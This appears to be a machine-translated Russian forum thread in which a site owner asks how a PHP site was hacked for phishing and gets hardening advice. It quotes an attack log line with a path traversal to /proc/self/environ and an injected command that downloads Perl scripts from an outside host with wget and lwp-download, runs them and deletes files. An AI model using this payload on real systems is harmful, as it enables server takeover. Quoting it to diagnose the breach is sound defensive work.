Я был атакован инъекцией PHP/ скрипта - пустышка
Мой сайт подвергся атаке с целью фишинга. Это сложный сайт, но я использую только файлы post и PHP.
Как они могли напасть на меня? Я использую только $_POST, поэтому я считаю, что никакие команды и параметры SQL не видны. Там нет рамок, только мой маленький список кодирования и доступа на веб-сайте.
Любая подсказка / предложение будет оценено.
Извините, если я не отвечаю прямо, но я имею дело с моим провайдером, который заблокировал весь сайт.
это их ответ (любые комментарии будут приветствоваться):
Поскольку внедрение скриптов атакует сам код сайта, он может полностью избежать безопасности веб-сервера. К сожалению, некоторые системы управления контентом (особенно старые версии Joomla) чрезвычайно восприимчивы к этой форме атаки.
Простой способ отменить возможность для злоумышленников использовать этот метод - добавить файл php.ini на верхний уровень веб-сайта со следующим содержимым - имейте в виду, что веб-сайт впоследствии будет нуждаться в тестировании, чтобы гарантировать, что нет Изменения повлияли на действия, допустимые для веб-сайта по сценарию:
Директивы php.ini являются...
allow_url_include = "0"
allow_url_fopen = "0"
Обновить:
вот что я получил от компании веб-хостинга:
121.254.216.170 - - [12 / Sep / 2011: 05: 21: 07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806" - "" http://some.thesome.com/etc/ byz.jpg? -O / tmp / cmd548; cd / tmp; lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt; rm -rf *.txt *; wget http://some.thesome.com/etc/update.txt;perl update.txt; rm -rf *.txt * '); echo \ "# j13mb0t \";?> "
3 ответа
POST-запросы также можно отправлять вручную, например, с помощью cURL. Никто не мешает людям просто открывать терминал telnet, вводить команду вручную и отправлять любые параметры на ваш сайт.
Вместо этого вы всегда должны защищать свой сайт и проверять вводимые данные. Будь они из POST, GET или из любого другого места. Кроме того, предпочитайте использовать PDO вместо стандартных функций mysql в PHP.
Не могли бы вы уточнить, какие attack
случилось на вашем сайте?
Существует множество способов взлома сервера. Трудно сказать, как это произошло в вашем случае, не зная больше о вашем проекте или сервере.
Но несколько советов:
Убедитесь, что вы всегда избегаете данных, которые записаны в вашу базу данных. Вы можете использовать mysql_real_escape_string(), например. Помимо атаки на ваши скрипты, ваш сервер также мог быть атакован, например, через FTP или SSH.
Кроме того, всегда убедитесь, что вы обновляете все популярные фреймворки / библиотеки, которые вы используете.
$_POST не является допустимым методом для блокировки SQL-атак. Вы должны использовать подготовленные операторы с параметрами для всех значений, полученных из $_GET или $_POST, или использовать mysql_real_escape_string для всех этих параметров.